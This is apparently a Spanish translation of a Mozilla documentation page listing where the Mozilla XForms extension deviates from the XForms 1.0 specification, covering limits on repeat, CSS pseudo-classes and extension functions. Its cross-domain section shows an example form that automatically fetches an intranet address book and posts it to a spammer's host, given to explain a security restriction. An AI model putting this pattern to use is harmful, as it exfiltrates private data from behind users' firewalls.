mozilla
Los resultados de tu búsqueda

    Mozilla XForms Specials

    Imagen:traduccion-pendiente.png Esta página está traduciéndose a partir del artículo XForms:Mozilla XForms Specials, razón por la cual puede haber algunos errores sintácticos o partes sin traducir. Puedes colaborar continuando con la traducción

    Introducción

    Este artículo dá una vista rápida sobre "dónde" se desvía la extensión Mozilla XForms respecto de la especificación oficial XForms 1.0 . Esto cubre ambas limitaciones, en la extensión y en extensiones personalizadas.

    Limitaciones

    Repetir usando atributos

    Las especificaciones hacen mención ha "Creating Repeating Structures Via Attributes", esto es parcialmente soportadas.

    (limitación registrada en bug 280368)

    Combinando Repeat y table ó ul

    No es posible combinar repeat ní con table ó ul. Esto significa que NO ES POSIBLE hacer lo siguiente:

    <table>
      <xf:repeat ...>
        <tr> ... </tr>
      </xf:repeat>
    </table>
    

    ó

    <ul>
      <xf:repeat ...>
        <li> ... </li>
      </xf:repeat>
    </ul>
    

    La sección 9.3.2 establece que las combinaciones con table probablemente nunca funcionarán. Las combinaciones con ul deben sufrir la misma limitación, aunque no deberían producir errores fatales como tampoco lo hace (bug 330022).

    Soporte para Pseudo Clases

    Actualmente soportamos todas las Pseudo Clases en XForms (:enabled, :disabled, etc. ), a excepción de :read-only y :read-write, por no tener un comportamiento no específico para (X)HTML. En su lugar se debe usar:-moz-read-only and :-moz-read-write, por el momento.

    (limitación registrada en bug 313111)

    Soporte de pseudo elementos

    No se soportan los pseudo elementos (::value, ::repeat-item, y ::repeat-index ). En su lugar se deben usar las siguientes clases:

    • xf-value
    • xf-repeat-item
    • xf-repeat-index

    Por ejemplo, para tomar el valor de un control input, hay que usar:

    @namespace xf url("http://www.w3.org/2002/xforms");
    xf|input .xf-value {
      ...
    }
    

    Los pseudo elementos están definidos en la Especificación de Interfaz Básico para el Usuario CSS3 .

    (Limitation registrada en bug 271724)

    Extensiones

    Enumerando instancias

    El elemento estandarizado nsIXFormsModelElement no permite enumerar todas las posibles instancias, sino sólo recuperar instancias por sus nombres. En la Extensión XForms de Mozilla hemos añadido una función getInstanceDocuments() a el modelo que retorna todas las instancias modelo del documento. Esto está documentado en nsIXFormsNSModelElement.

    Obteniendo un elemento de instancia desde un nodo de dato

    En la especificación XForms 1.0 no hay manera de conseguir el elemento instance desde la instancia de un nodo de dato. Hemos añadido una función a través de un llamado tipo getFeature() para cada nodo, lo que permite al autor del formulario hacer eso. Es decir: si instanceNode es un nodo dentro una instancia de un documento, entonces:

    instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

    devolverá el elemento <instance> (dentro del documento principal) al cual pertenece el nodo.

    Llegar a la instancia de documento desde la instancia de elemento

    Según la especificación XForms 1.0 hay que usar el elemento model para obtener la instance del documento. Parece un poco torpe, cuando ya se dispone del elemento instance, así que hemos añadido una función getInstanceDocument() directamente en el elemento instance como un atajo. Esto está documentado en nsIXFormsNSInstanceElement.

    Interfaz de control del usuario

    Hemos añadido mucha funcionalidad a nuestro interfaz de usuario, lo cual permite al autor del formulario crear sus propios controles de usuario. Ello implica publicar algo de funcionalidad (en un script) en todos nuestros controles, como output, input, etc., y permitir que el interfaz de usuario se represente en XBL. Más información en XForms:Custom Controls.

    Misc

    Envíos cruzados a dominios

    No es exactamente una limitación ni una extensión, pero es importante mencionarlo aquí. Por razones de seguridad, por fallo no es posible para un XForms enviar datos a otro dominio. Esto se por razones de seguridad. Información de como hacer una lista de confianza puede ser encontrada en la sección Release Notes

    El chequeo de envío entre dominios además incluye formas cargadas desde file://. Las formas cargadas desde esa URL deberían ser archivos locales y de confianza, pero no siempre son el caso. Por esto no hay listas de confianza automáticas de archivos locales.

    Si estás preguntándote porqué tenemos esta restricción, aquí hay un simple ejemplo del porqué:

    <xforms:model>
      <xforms:instance src="http://intranetserver/addrbook.xml"/>
      <xforms:submission id="sub" action="http://megaspammer.com/gather"
                         method="post"/>
      <xforms:send submission="sub" ev:event="xforms-ready"/>
    </xforms:model>
    

    Esto traería algo que es accesible únicamente para tí (p.e. detrás de un cortafuegos) http://intranetserver/addrbook.xml, luego enviarlo a http://megaspammer.com/gather tan pronto como veas la XForm.

    Etiquetas y colaboradores del documento

    Contributors to this page: Jorolo, teoli, Saturno, GUALY GAETE
    Última actualización por: teoli,